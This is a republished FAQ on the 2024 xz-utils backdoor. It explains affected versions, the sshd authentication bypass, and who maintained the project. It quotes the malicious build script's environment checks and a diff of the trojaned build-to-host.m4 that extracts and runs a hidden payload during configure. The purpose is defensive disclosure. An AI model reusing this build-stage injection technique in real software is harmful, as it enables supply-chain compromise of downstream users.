{"id":55733,"date":"2024-04-01T13:57:01","date_gmt":"2024-04-01T13:57:01","guid":{"rendered":"https:\/\/packetstormsecurity.com\/news\/view\/35723\/FAQ-On-The-xz-utils-Backdoor.html"},"modified":"2024-04-01T13:57:01","modified_gmt":"2024-04-01T13:57:01","slug":"faq-on-the-xz-utils-backdoor","status":"publish","type":"post","link":"https:\/\/www.threatshub.org\/blog\/faq-on-the-xz-utils-backdoor\/","title":{"rendered":"FAQ On The xz-utils Backdoor"},"content":{"rendered":"<div><img decoding=\"async\" src=\"https:\/\/github.githubassets.com\/assets\/gist-og-image-54fd7dc0713e.png\" class=\"ff-og-image-inserted\"><\/div>\n<p dir=\"auto\">This is still a new situation. There is a lot we don&#8217;t know. We don&#8217;t<br \/>\nknow if there are more possible exploit paths. We only know about this<br \/>\none path. Please update your systems regardless.<\/p>\n<p dir=\"auto\">This is a living document. Everything in this document is made in good<br \/>\nfaith of being accurate, but like I just said; we don&#8217;t yet know everything<br \/>\nabout what&#8217;s going on.<\/p>\n<div class=\"markdown-heading\" dir=\"auto\">\n<h2 class=\"heading-element\" dir=\"auto\">Background<\/h2>\n<p><a id=\"user-content-background\" class=\"anchor\" aria-label=\"Permalink: Background\" href=\"https:\/\/gist.github.com\/thesamesam\/223949d5a074ebc3dce9ee78baad9e27#background\"><svg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\" \/><\/svg><\/a><\/div>\n<p dir=\"auto\">On March 29th, 2024, a backdoor was discovered in<br \/>\n<a href=\"https:\/\/xz.tukaani.org\/xz-utils\/\" rel=\"nofollow\">xz-utils<\/a>, a suite of software that<br \/>\ngives developers lossless compression. This package is commonly used<br \/>\nfor compressing release tarballs, software packages, kernel images,<br \/>\nand initramfs images. It is very widely distributed, statistically<br \/>\nyour average Linux or macOS system will have it installed for<br \/>\nconvenience.<\/p>\n<p dir=\"auto\">This backdoor is very indirect and only shows up when a few <em>known<\/em> specific<br \/>\ncriteria are met. Others may be yet discovered! However, this backdoor is <em>at least<\/em><br \/>\ntriggerable by remote unprivileged systems connecting to public SSH ports. This has been<br \/>\nseen in the wild where it gets activated by connections &#8211; resulting in performance<br \/>\nissues, but we do not know yet what is required to bypass authentication (etc) with it.<\/p>\n<p dir=\"auto\">We&#8217;re reasonably sure the following things need to be true for your system<br \/>\nto be vulnerable:<\/p>\n<ul dir=\"auto\">\n<li>You need to be running a distro that uses glibc (for IFUNC)<\/li>\n<li>You need to have versions 5.6.0 or 5.6.1 of xz or liblzma installed<br \/>\n(xz-utils provides the library liblzma) &#8211; likely only true if<br \/>\nrunning a rolling-release distro and updating religiously.<\/li>\n<\/ul>\n<p dir=\"auto\">We know that the combination of <em>systemd<\/em> and <em>patched openssh<\/em> are<br \/>\nvulnerable but pending further analysis of the payload, we cannot<br \/>\nbe certain that other configurations aren&#8217;t.<\/p>\n<p dir=\"auto\">While not scaremongering, it is important to be clear that <strong>at this stage,<br \/>\nwe got lucky, and there may well be other effects of the infected liblzma<\/strong>.<\/p>\n<p dir=\"auto\">If you&#8217;re running a publicly accessible <code>sshd<\/code>, then you are &#8211; as a rule<br \/>\nof thumb for those not wanting to read the rest here &#8211; likely vulnerable.<\/p>\n<p dir=\"auto\">If you aren&#8217;t, it is unknown for now, but you should update as quickly as possible<br \/>\nbecause investigations are continuing.<\/p>\n<p dir=\"auto\">TL:DR:<\/p>\n<ul dir=\"auto\">\n<li>Using a <code>.deb<\/code> or <code>.rpm<\/code> based distro with glibc and xz-5.6.0 or xz-5.6.1:\n<ul dir=\"auto\">\n<li>Using systemd on publicly accessible ssh: update RIGHT NOW NOW NOW<\/li>\n<li>Otherwise: update RIGHT NOW NOW but prioritize the former<\/li>\n<\/ul>\n<\/li>\n<li>Using another type of distribution:\n<ul dir=\"auto\">\n<li>With glibc and xz-5.6.0 or xz-5.6.1: update RIGHT NOW, but prioritize the above.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p dir=\"auto\">If all of these are the case, please update your systems to mitigate<br \/>\nthis threat. For more information about affected systems and how to<br \/>\nupdate, please see <a href=\"https:\/\/xeiaso.net\/notes\/2024\/xz-vuln\/\" rel=\"nofollow\">this<br \/>\narticle<\/a> or check the<br \/>\n<a href=\"https:\/\/repology.org\/project\/xz\/versions\" rel=\"nofollow\">xz-utils page on Repology<\/a>.<\/p>\n<p dir=\"auto\">This is not a fault of sshd, systemd, or glibc, that is just how it<br \/>\nwas made exploitable.<\/p>\n<p dir=\"auto\">This backdoor has several components. At a high level:<\/p>\n<ul dir=\"auto\">\n<li>The release tarballs upstream publishes don&#8217;t have the same code<br \/>\nthat GitHub has. This is common in C projects so that downstream<br \/>\nconsumers don&#8217;t need to remember how to run autotools and autoconf.<br \/>\nThe version of <code>build-to-host.m4<\/code> in the release tarballs differs<br \/>\nwildly from the upstream on GitHub.<\/li>\n<li>There are crafted test files in the <code>tests\/<\/code> folder within the git repository too.<br \/>\nThese files are in the following commits: <\/li>\n<li>A script called by <code>build-to-host.m4<\/code> that unpacks this malicious<br \/>\ntest data and uses it to modify the build process.<\/li>\n<li>IFUNC, a mechanism in glibc that allows for indirect function calls,<br \/>\nis used to perform runtime hooking\/redirection of OpenSSH&#8217;s<br \/>\nauthentication routines. IFUNC is a tool that is normally used for<br \/>\nlegitimate things, but in this case it is exploited for this attack<br \/>\npath.<\/li>\n<\/ul>\n<p dir=\"auto\">Normally upstream publishes release tarballs that are different than<br \/>\nthe automatically generated ones in GitHub. In these modified<br \/>\ntarballs, a malicious version of <code>build-to-host.m4<\/code> is included to<br \/>\nexecute a script during the build process.<\/p>\n<p dir=\"auto\">This script (at least in versions 5.6.0 and 5.6.1) checks for various<br \/>\nconditions like the architecture of the machine. Here is a snippet of<br \/>\nthe malicious script that gets unpacked by <code>build-to-host.m4<\/code> and an<br \/>\nexplanation of what it does:<\/p>\n<blockquote readability=\"6\">\n<p dir=\"auto\"><code>if ! (echo \"$build\" | grep -Eq \"^x86_64\" &gt; \/dev\/null 2&gt;&amp;1) &amp;&amp; (echo \"$build\" | grep -Eq \"linux-gnu$\" &gt; \/dev\/null 2&gt;&amp;1);then<\/code><\/p>\n<\/blockquote>\n<ul dir=\"auto\">\n<li>If amd64\/x86_64 is the target of the build<\/li>\n<li>And if the target uses the name <code>linux-gnu<\/code> (mostly checks for the<br \/>\nuse of glibc)<\/li>\n<\/ul>\n<p dir=\"auto\">It also checks for the toolchain being used:<\/p>\n<blockquote readability=\"6\">\n<pre><code> if test \"x$GCC\" != 'xyes' &gt; \/dev\/null 2&gt;&amp;1;then exit 0 fi if test \"x$CC\" != 'xgcc' &gt; \/dev\/null 2&gt;&amp;1;then exit 0 fi LDv=$LD\" -v\" if ! $LDv 2&gt;&amp;1 | grep -qs 'GNU ld' &gt; \/dev\/null 2&gt;&amp;1;then exit 0\n<\/code><\/pre>\n<\/blockquote>\n<p dir=\"auto\">And if you are trying to build a Debian or Red Hat package:<\/p>\n<blockquote readability=\"5\">\n<p dir=\"auto\"><code>if test -f \"$srcdir\/debian\/rules\" || test \"x$RPM_ARCH\" = \"xx86_64\";then<\/code><\/p>\n<\/blockquote>\n<p dir=\"auto\">This attack thusly seems to be targeted at amd64 systems running glibc<br \/>\nusing either Debian or Red Hat derived distributions. Other systems<br \/>\nmay be vulnerable at this time, but we don&#8217;t know.<\/p>\n<div class=\"markdown-heading\" dir=\"auto\">\n<h2 class=\"heading-element\" dir=\"auto\">Design specifics<\/h2>\n<p><a id=\"user-content-design-specifics\" class=\"anchor\" aria-label=\"Permalink: Design specifics\" href=\"https:\/\/gist.github.com\/thesamesam\/223949d5a074ebc3dce9ee78baad9e27#design-specifics\"><svg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\" \/><\/svg><\/a><\/div>\n<div class=\"highlight highlight-source-diff\" dir=\"auto\" readability=\"42\">\n<pre>$ git diff m4\/build-to-host.m4 ~\/data\/xz\/xz-5.6.1\/m4\/build-to-host.m4\n<span class=\"pl-c1\">diff --git a\/m4\/build-to-host.m4 b\/home\/sam\/data\/xz\/xz-5.6.1\/m4\/build-to-host.m4<\/span>\nindex f928e9ab..d5ec3153 100644\n<span class=\"pl-md\">--- a\/m4\/build-to-host.m4<\/span>\n<span class=\"pl-mi1\">+++ b\/home\/sam\/data\/xz\/xz-5.6.1\/m4\/build-to-host.m4<\/span>\n<span class=\"pl-mdr\">@@ -1,4 +1,4 @@<\/span>\n<span class=\"pl-md\"><span class=\"pl-md\">-<\/span># build-to-host.m4 serial 3<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span># build-to-host.m4 serial 30<\/span> dnl Copyright (C) 2023-2024 Free Software Foundation, Inc. dnl This file is free software; the Free Software Foundation dnl gives unlimited permission to copy and\/or distribute it,\n<span class=\"pl-mdr\">@@ -37,6 +37,7 @@<\/span> AC_DEFUN([gl_BUILD_TO_HOST], dnl Define somedir_c. gl_final_[$1]=\"$[$1]\"\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> gl_[$1]_prefix=`echo $gl_am_configmake | sed \"s\/.*\\.\/\/g\"`<\/span> dnl Translate it from build syntax to host syntax. case \"$build_os\" in cygwin*)\n<span class=\"pl-mdr\">@@ -58,14 +59,40 @@<\/span> AC_DEFUN([gl_BUILD_TO_HOST], if test \"$[$1]_c_make\" = '\\\"'\"${gl_final_[$1]}\"'\\\"'; then [$1]_c_make='\\\"$([$1])\\\"' fi\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> if test \"x$gl_am_configmake\" != \"x\"; then<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> gl_[$1]_config='sed \\\"r\\n\\\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2&gt;\/dev\/null'<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> else<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> gl_[$1]_config=''<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> fi<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> _LT_TAGDECL([], [gl_path_map], [2])dnl<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> _LT_TAGDECL([], [gl_am_configmake], [2])dnl<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> _LT_TAGDECL([], [[$1]_c_make], [2])dnl<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> _LT_TAGDECL([], [gl_[$1]_config], [2])dnl<\/span> AC_SUBST([$1_c_make])\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span><\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> dnl If the host conversion code has been placed in $gl_config_gt,<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> dnl instead of duplicating it all over again into config.status,<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> dnl then we will have config.status run $gl_config_gt later, so it<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> dnl needs to know what name is stored there:<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2&gt;\/dev\/null], [gl_config_gt=\"eval \\$gl_[$1]_config\"])<\/span> ]) dnl Some initializations for gl_BUILD_TO_HOST. AC_DEFUN([gl_BUILD_TO_HOST_INIT], [\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> dnl Search for Automake-defined pkg* macros, in the order<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> dnl listed in the Automake 1.10a+ documentation.<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> gl_am_configmake=`grep -aErls \"#{4}[[:alnum:]]{5}#{4}$\" $srcdir\/ 2&gt;\/dev\/null`<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> if test -n \"$gl_am_configmake\"; then<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> HAVE_PKG_CONFIGMAKE=1<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> else<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> HAVE_PKG_CONFIGMAKE=0<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> fi<\/span>\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span><\/span> gl_sed_double_backslashes='s\/\\\\\/\\\\\\\\\/g' gl_sed_escape_doublequotes='s\/\"\/\\\\\"\/g'\n<span class=\"pl-mi1\"><span class=\"pl-mi1\">+<\/span> gl_path_map='tr \"\\t \\-_\" \" \\t_\\-\"'<\/span> changequote(,)dnl gl_sed_escape_for_make_1=\"s,\\\\([ \\\"&amp;'();&lt;&gt;\\\\\\\\\\`|]\\\\),\\\\\\\\\\\\1,g\" changequote([,])dnl<\/pre>\n<\/div>\n<p dir=\"auto\">If those conditions check, the payload is injected into the source<br \/>\ntree. We have not analyzed this payload in detail. Here are the main<br \/>\nthings we know:<\/p>\n<ul dir=\"auto\" readability=\"7.1104407135362\">\n<li readability=\"0\">\n<p dir=\"auto\">The payload activates if the running program has the process<br \/>\nname <code>\/usr\/sbin\/sshd<\/code>. Systems that put <code>sshd<\/code> in<br \/>\n<code>\/usr\/bin<\/code> or another folder may or may not be vulnerable.<\/p>\n<\/li>\n<li readability=\"0\">\n<p dir=\"auto\">It may activate in other scenarios too, possibly even unrelated to ssh.<\/p>\n<\/li>\n<li readability=\"-1\">\n<p dir=\"auto\">We don&#8217;t know what the payload is intended to do. We are<br \/>\ninvestigating.<\/p>\n<\/li>\n<li readability=\"-0.95493934142114\">\n<p dir=\"auto\">Vanilla upstream OpenSSH isn&#8217;t affected unless one of its<br \/>\ndependencies links <code>liblzma<\/code>.<\/p>\n<ul dir=\"auto\">\n<li>Lennart Poettering had <a href=\"https:\/\/news.ycombinator.com\/item?id=39867126\" rel=\"nofollow\">mentioned<\/a> that it may happen<br \/>\nvia pam-&gt;libselinux-&gt;liblzma, and possibly in other cases too, but&#8230;<\/li>\n<li>libselinux does not link to liblzma. It turns out the confusion was because of an old downstream-only patch in Fedora and a stale dependency in the RPM spec which persisted long-beyond its removal.<\/li>\n<li>PAM modules are loaded too late in the process AFAIK for this to work (another possible example was <code>pam_fprintd<\/code>). Solar Designer <a href=\"https:\/\/openwall.com\/lists\/oss-security\/2024\/03\/31\/9\" rel=\"nofollow\">raised this issue<\/a> as well on <em>oss-security<\/em>.<\/li>\n<\/ul>\n<\/li>\n<li readability=\"2.6492805755396\">\n<p dir=\"auto\">The payload is loaded into <code>sshd<\/code> indirectly. <code>sshd<\/code> is often patched<br \/>\nto support<br \/>\n<a href=\"https:\/\/www.freedesktop.org\/software\/systemd\/man\/249\/systemd-notify.html\" rel=\"nofollow\">systemd-notify<\/a><br \/>\nso that other services can start when sshd is running. <code>liblzma<\/code> is<br \/>\nloaded because it&#8217;s depended on by other parts of <code>libsystemd<\/code>. This<br \/>\nis not the fault of systemd, this is more unfortunate. The patch<br \/>\nthat most distributions use is available here:<br \/>\n<a href=\"https:\/\/github.com\/openssh\/openssh-portable\/pull\/375\" data-hovercard-type=\"pull_request\" data-hovercard-url=\"\/openssh\/openssh-portable\/pull\/375\/hovercard\">openssh\/openssh-portable#375<\/a>.<\/p>\n<ul dir=\"auto\">\n<li><em>Update<\/em>: The OpenSSH developers are looking at adding <a href=\"https:\/\/bugzilla.mindrot.org\/show_bug.cgi?id=2641#c13\" rel=\"nofollow\">non-library integration<\/a> of the systemd-notify protocol which would mean distributions would no longer be patching in <code>libsystemd<\/code> support.<\/li>\n<\/ul>\n<\/li>\n<li readability=\"1.9654427645788\">\n<p dir=\"auto\">If this payload is loaded in openssh <code>sshd<\/code>, the<br \/>\n<code>RSA_public_decrypt<\/code> function will be redirected into a malicious<br \/>\nimplementation. We have observed that this malicious implementation<br \/>\ncan be used to bypass authentication. <del>Further research is being done<br \/>\nto explain why.<\/del><\/p>\n<ul dir=\"auto\">\n<li>Filippo Valsorda has shared <a href=\"https:\/\/bsky.app\/profile\/filippo.abyssdomain.expert\/post\/3kowjkx2njy2b\" rel=\"nofollow\">analysis<\/a> indicating that the attacker must supply a key which is verified by the payload and then attacker input is passed to <code>system()<\/code>, giving remote code execution (RCE).<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<div class=\"markdown-heading\" dir=\"auto\">\n<h2 class=\"heading-element\" dir=\"auto\">Tangential xz bits<\/h2>\n<p><a id=\"user-content-tangential-xz-bits\" class=\"anchor\" aria-label=\"Permalink: Tangential xz bits\" href=\"https:\/\/gist.github.com\/thesamesam\/223949d5a074ebc3dce9ee78baad9e27#tangential-xz-bits\"><svg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\" \/><\/svg><\/a><\/div>\n<ul dir=\"auto\" readability=\"0\">\n<li readability=\"0.86159169550173\">\n<p dir=\"auto\">Jia Tan&#8217;s <a href=\"https:\/\/git.tukaani.org\/?p=xz.git;a=commitdiff;h=328c52da8a2bbb81307644efdb58db2c422d9ba7\" rel=\"nofollow\">328c52da8a2bbb81307644efdb58db2c422d9ba7<\/a> commit contained a <code>.<\/code> in the CMake check for landlock sandboxing support. This caused the check to always fail so landlock support was detected as absent.<\/p>\n<ul dir=\"auto\">\n<li>Hardening of CMake&#8217;s <code>check_c_source_compiles<\/code> has been proposed (see <em>Other projects<\/em>).<\/li>\n<\/ul>\n<\/li>\n<li readability=\"-0.74275362318841\">\n<p dir=\"auto\">IFUNC was introduced for <em>crc64<\/em> in <a href=\"https:\/\/git.tukaani.org\/?p=xz.git;a=commit;h=ee44863ae88e377a5df10db007ba9bfadde3d314\" rel=\"nofollow\">ee44863ae88e377a5df10db007ba9bfadde3d314<\/a> by <em>Hans Jensen<\/em>.<\/p>\n<ul dir=\"auto\">\n<li><em>Hans Jensen<\/em> later went on to ask Debian to update xz-utils in <a href=\"https:\/\/bugs.debian.org\/1067708\" rel=\"nofollow\">https:\/\/bugs.debian.org\/1067708<\/a>, but this is quite a common thing for eager users to do, so it&#8217;s not necessarily nefarious.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p dir=\"auto\">We do not want to speculate on the people behind this project in this<br \/>\ndocument. This is not a productive use of our time, and law<br \/>\nenforcement will be able to handle identifying those responsible. They<br \/>\nare likely patching their systems too.<\/p>\n<p dir=\"auto\">xz-utils had two maintainers:<\/p>\n<ul dir=\"auto\">\n<li>Lasse Collin (<em>Larhzu<\/em>) who has maintained xz since the beginning<br \/>\n(~2009), and before that, <code>lzma-utils<\/code>.<\/li>\n<li>Jia Tan (<em>JiaT75<\/em>) who started contributing to xz in the last 2-2.5<br \/>\nyears and gained commit access, and then release manager rights,<br \/>\nabout 1.5 years ago. He was removed on 2024-03-31 as Lasse begins<br \/>\nhis long work ahead.<\/li>\n<\/ul>\n<p dir=\"auto\">Lasse regularly has internet breaks and is on one at the moment,<br \/>\nstarted before this all kicked off. He has posted an update<br \/>\nat <a href=\"https:\/\/tukaani.org\/xz-backdoor\/\" rel=\"nofollow\">https:\/\/tukaani.org\/xz-backdoor\/<\/a> and is working with the community.<\/p>\n<p dir=\"auto\">Please be patient with him as he gets up to speed and takes time<br \/>\nto analyse the situation carefully.<\/p>\n<div class=\"markdown-heading\" dir=\"auto\">\n<h2 class=\"heading-element\" dir=\"auto\">Misc notes<\/h2>\n<p><a id=\"user-content-misc-notes\" class=\"anchor\" aria-label=\"Permalink: Misc notes\" href=\"https:\/\/gist.github.com\/thesamesam\/223949d5a074ebc3dce9ee78baad9e27#misc-notes\"><svg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\" \/><\/svg><\/a><\/div>\n<div class=\"markdown-heading\" dir=\"auto\">\n<h2 class=\"heading-element\" dir=\"auto\">Analysis of the payload<\/h2>\n<p><a id=\"user-content-analysis-of-the-payload\" class=\"anchor\" aria-label=\"Permalink: Analysis of the payload\" href=\"https:\/\/gist.github.com\/thesamesam\/223949d5a074ebc3dce9ee78baad9e27#analysis-of-the-payload\"><svg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\" \/><\/svg><\/a><\/div>\n<p dir=\"auto\">This is the part which is very much in flux, even compared to the rest of this. It&#8217;s early days yet.<\/p>\n<div class=\"markdown-heading\" dir=\"auto\">\n<h2 class=\"heading-element\" dir=\"auto\">Other projects<\/h2>\n<p><a id=\"user-content-other-projects\" class=\"anchor\" aria-label=\"Permalink: Other projects\" href=\"https:\/\/gist.github.com\/thesamesam\/223949d5a074ebc3dce9ee78baad9e27#other-projects\"><svg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\" \/><\/svg><\/a><\/div>\n<p dir=\"auto\">There are concerns some other projects are affected (either by themselves or changes to other projects were made to facilitate the xz backdoor). I want to avoid a witch-hunt but listing some examples here which are already been linked widely to give some commentary.<\/p>\n<ul dir=\"auto\" readability=\"-0.82948294829483\">\n<li readability=\"-0.66773162939297\">\n<p dir=\"auto\">libarchive is being checked out:<\/p>\n<\/li>\n<li readability=\"-0.91428571428571\">\n<p dir=\"auto\"><a class=\"issue-link js-issue-link\" data-error-text=\"Failed to load title\" data-id=\"1793585804\" data-permission-text=\"Title is private\" data-url=\"https:\/\/github.com\/google\/oss-fuzz\/issues\/10667\" data-hovercard-type=\"pull_request\" data-hovercard-url=\"\/google\/oss-fuzz\/pull\/10667\/hovercard\" href=\"https:\/\/github.com\/google\/oss-fuzz\/pull\/10667\">google\/oss-fuzz#10667<\/a> was made by Jia Tan to disable IFUNC in oss-fuzz when testing xz-utils<\/p>\n<ul dir=\"auto\">\n<li>It is unclear if this was safe or not. Obviously, it doesn&#8217;t look great, but see below.<\/li>\n<li>Note that IFUNC <em>is<\/em> a brittle mechanism and it is known to be sensitive to e.g. ASAN, which is why the change didn&#8217;t raise alarm bells. i.e. It is possible that such a change was genuinely made in good faith, although it&#8217;s of course suspicious in hindsight. But I wouldn&#8217;t say the oss-fuzz maintainers should have rejected it, either. <\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<div class=\"markdown-heading\" dir=\"auto\">\n<h2 class=\"heading-element\" dir=\"auto\">Tangential efforts as a result of this incident<\/h2>\n<p><a id=\"user-content-tangential-efforts-as-a-result-of-this-incident\" class=\"anchor\" aria-label=\"Permalink: Tangential efforts as a result of this incident\" href=\"https:\/\/gist.github.com\/thesamesam\/223949d5a074ebc3dce9ee78baad9e27#tangential-efforts-as-a-result-of-this-incident\"><svg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path d=\"m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z\" \/><\/svg><\/a><\/div>\n<p dir=\"auto\">This is for suggesting specific changes which are being considered as a result of this.<\/p>\n<div class=\"markdown-heading\" dir=\"auto\">\n<h2 class=\"heading-element\" dir=\"auto\">Discussions in the wake of this<\/h2>\n<p><a id=\"user-content-discussions-in-the-wake-of-this\" class=\"anchor\" aria-label=\"Permalink: Discussions in the wake of this\" href=\"https:\/\/gist.github.com\/thesamesam\/223949d5a074ebc3dce9ee78baad9e27#discussions-in-the-wake-of-this\"><svg class=\"octicon octicon-link\" viewBox=\"0 0 16 16\" 